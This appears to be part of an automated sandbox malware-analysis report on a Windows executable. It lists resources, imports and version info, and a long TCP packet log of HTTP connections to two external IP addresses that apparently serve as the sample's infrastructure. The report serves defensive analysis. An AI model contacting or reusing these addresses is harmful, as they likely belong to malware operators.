RT_ICON	0x4da98	0x468	GLS_BINARY_LSB_FIRST	Bulgarian	Bulgaria
RT_DIALOG	0x4e2f0	0x72	data	Bulgarian	Bulgaria
RT_STRING	0x4e368	0x452	data	Bulgarian	Bulgaria
RT_STRING	0x4e7c0	0x1ec	data	Bulgarian	Bulgaria
RT_STRING	0x4e9b0	0x2d4	data	Bulgarian	Bulgaria
RT_ACCELERATOR	0x4df68	0x60	data	Bulgarian	Bulgaria
RT_ACCELERATOR	0x4dfc8	0x28	data	Bulgarian	Bulgaria
RT_GROUP_CURSOR	0x4e120	0x14	data	Bulgarian	Bulgaria
RT_GROUP_ICON	0x47d90	0x76	data	Bulgarian	Bulgaria
RT_GROUP_ICON	0x4df00	0x68	data	Bulgarian	Bulgaria
RT_VERSION	0x4e138	0x1b8	COM executable for DOS	Bulgarian	Bulgaria

Imports

DLL

Import

KERNEL32.dll

SetLocaleInfoA, GetConsoleAliasesLengthW, VirtualQuery, GetDefaultCommConfigW, OpenJobObjectA, ReadConsoleA, GetConsoleAliasA, InterlockedDecrement, GetProfileSectionA, SetComputerNameW, GetTimeFormatA, GetConsoleAliasesA, GetConsoleTitleA, SetFileTime, FindResourceExA, Sleep, GetFileAttributesW, SetComputerNameExW, RaiseException, GetLongPathNameW, GetProcAddress, VirtualAlloc, GetAtomNameA, LocalAlloc, DnsHostnameToComputerNameA, GetFileType, GetModuleFileNameA, CreateIoCompletionPort, SetConsoleTitleW, GetModuleHandleA, GetStringTypeW, GetVersionExA, ReadConsoleInputW, EnumSystemLocalesW, CreateThread, HeapAlloc, GetCommandLineA, GetStartupInfoA, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetLastError, HeapFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, VirtualFree, HeapReAlloc, HeapCreate, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, SetHandleCount, SetFilePointer, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, CloseHandle, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, LoadLibraryA, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, CreateFileA, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, HeapSize, GetLocaleInfoA, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, SetEndOfFile, GetProcessHeap, ReadFile, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW

Version Infos

Description	Data
ProjectVersion	3.10.70.57
InternationalName	bomgvioci.iwa
Copyright	Copyrighz (C) 2021, fudkort
Translation	0x0129 0x0794

Possible Origin

Language of compilation system	Country where language is spoken	Map
Bulgarian	Bulgaria

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 02:04:13.709248066 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:13.759805918 CET	80	49745	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:13.759972095 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:13.760057926 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:13.760086060 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:13.811655998 CET	80	49745	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:13.838047981 CET	80	49745	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:13.838161945 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:13.839668036 CET	49745	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:13.889980078 CET	80	49745	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:14.141127110 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.192986965 CET	80	49746	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:14.193404913 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.193432093 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.193438053 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.244890928 CET	80	49746	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:14.271789074 CET	80	49746	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:14.271899939 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.271930933 CET	49746	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.322458982 CET	80	49746	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:14.596138954 CET	49747	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.648150921 CET	80	49747	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:14.648363113 CET	49747	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.648493052 CET	49747	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.648510933 CET	49747	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.699177027 CET	80	49747	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:14.730387926 CET	80	49747	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:14.730484009 CET	49747	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.730747938 CET	49747	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:14.781768084 CET	80	49747	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.027714014 CET	49748	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.078376055 CET	80	49748	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.078583956 CET	49748	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.078689098 CET	49748	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.078711987 CET	49748	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.129141092 CET	80	49748	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.159497023 CET	80	49748	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.159923077 CET	49748	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.160156965 CET	49748	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.210735083 CET	80	49748	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.482577085 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.532893896 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.533052921 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.533157110 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.533171892 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.583348989 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.612770081 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.617930889 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.618172884 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.645986080 CET	49750	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.668567896 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.696512938 CET	80	49750	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.698373079 CET	49750	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.698544025 CET	49750	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.698555946 CET	49750	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.748842955 CET	80	49750	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.773247004 CET	80	49750	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.773413897 CET	49750	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.773765087 CET	49750	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:15.782217979 CET	49751	80	192.168.2.3	185.186.142.166
Jan 14, 2022 02:04:15.823991060 CET	80	49750	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:15.837699890 CET	80	49751	185.186.142.166	192.168.2.3
Jan 14, 2022 02:04:16.355637074 CET	49751	80	192.168.2.3	185.186.142.166
Jan 14, 2022 02:04:16.411083937 CET	80	49751	185.186.142.166	192.168.2.3
Jan 14, 2022 02:04:16.918204069 CET	49751	80	192.168.2.3	185.186.142.166
Jan 14, 2022 02:04:16.973639011 CET	80	49751	185.186.142.166	192.168.2.3
Jan 14, 2022 02:04:17.273390055 CET	49752	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.323792934 CET	80	49752	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.324024916 CET	49752	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.324259996 CET	49752	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.324285984 CET	49752	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.374634981 CET	80	49752	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.401277065 CET	80	49752	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.401423931 CET	49752	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.409094095 CET	49752	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.440171003 CET	49753	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.459575891 CET	80	49752	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.491714001 CET	80	49753	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.491817951 CET	49753	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.491931915 CET	49753	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.491942883 CET	49753	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.544646025 CET	80	49753	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.572307110 CET	80	49753	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.572406054 CET	49753	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.572725058 CET	49753	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.624612093 CET	80	49753	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.870493889 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.922631979 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.922715902 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.922869921 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.986890078 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.986927986 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987011909 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.987029076 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987052917 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987075090 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987093925 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987114906 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.987169981 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.987319946 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987451077 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987479925 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987504959 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:17.987508059 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:17.987549067 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.040934086 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.040961981 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.040987015 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041008949 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041023970 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041028976 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041052103 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041059971 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041073084 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041093111 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041116953 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041119099 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041141033 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041157961 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041162014 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041181087 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041183949 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041204929 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041224003 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041224957 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041244030 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041260958 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041266918 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041287899 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041301966 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041307926 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041327953 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041346073 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.041347027 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.041380882 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094355106 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094379902 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094405890 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094427109 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094522953 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094547987 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094566107 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094588995 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094609976 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094629049 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094633102 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094656944 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094676018 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094676971 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094702005 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094722033 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094738007 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094743967 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094767094 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094768047 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094789028 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094809055 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094810009 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094832897 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094844103 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094856024 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094876051 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094897032 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094912052 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094917059 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094939947 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094944000 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094961882 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.094973087 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.094985008 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095007896 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095027924 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095027924 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.095051050 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095066071 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.095072985 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095093966 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095108032 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.095115900 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095136881 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095156908 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095174074 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.095177889 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095199108 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095204115 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.095222950 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095232964 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.095243931 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095264912 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095283985 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095290899 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.095305920 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095325947 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.095350027 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.095374107 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148201942 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148235083 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148264885 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148289919 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148315907 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148340940 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148370981 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148430109 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148452997 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148456097 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148485899 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148511887 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148525000 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148540974 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148549080 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148570061 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148596048 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148622036 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148633003 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148650885 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148670912 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148679018 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148705006 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148715973 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148732901 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148762941 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148792028 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148798943 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148819923 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148829937 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148849010 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148875952 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148888111 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148907900 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148936033 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148962975 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.148973942 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.148991108 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149008036 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149023056 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149050951 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149080038 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149087906 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149106026 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149120092 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149136066 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149163008 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149188995 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149199009 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149215937 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149238110 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149244070 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149271011 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149290085 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149297953 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149323940 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149349928 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149362087 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149375916 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149391890 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149405003 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149434090 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149458885 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149468899 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149486065 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149501085 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149516106 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149544001 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149570942 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.149585009 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.149616957 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.201802015 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.201824903 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.201878071 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.201900005 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.201920033 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.201942921 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.201950073 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.201972961 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.201992035 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202004910 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202039003 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202049017 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202069998 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202100992 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202128887 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202138901 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202158928 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202176094 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202191114 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202218056 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202245951 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202253103 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202275991 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202280998 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202308893 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202337980 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202366114 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202373028 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202394009 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202405930 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202416897 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202436924 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202456951 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202476978 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202477932 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202497005 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202507973 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202517986 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202538013 CET	80	49754	93.189.42.167	192.168.2.3
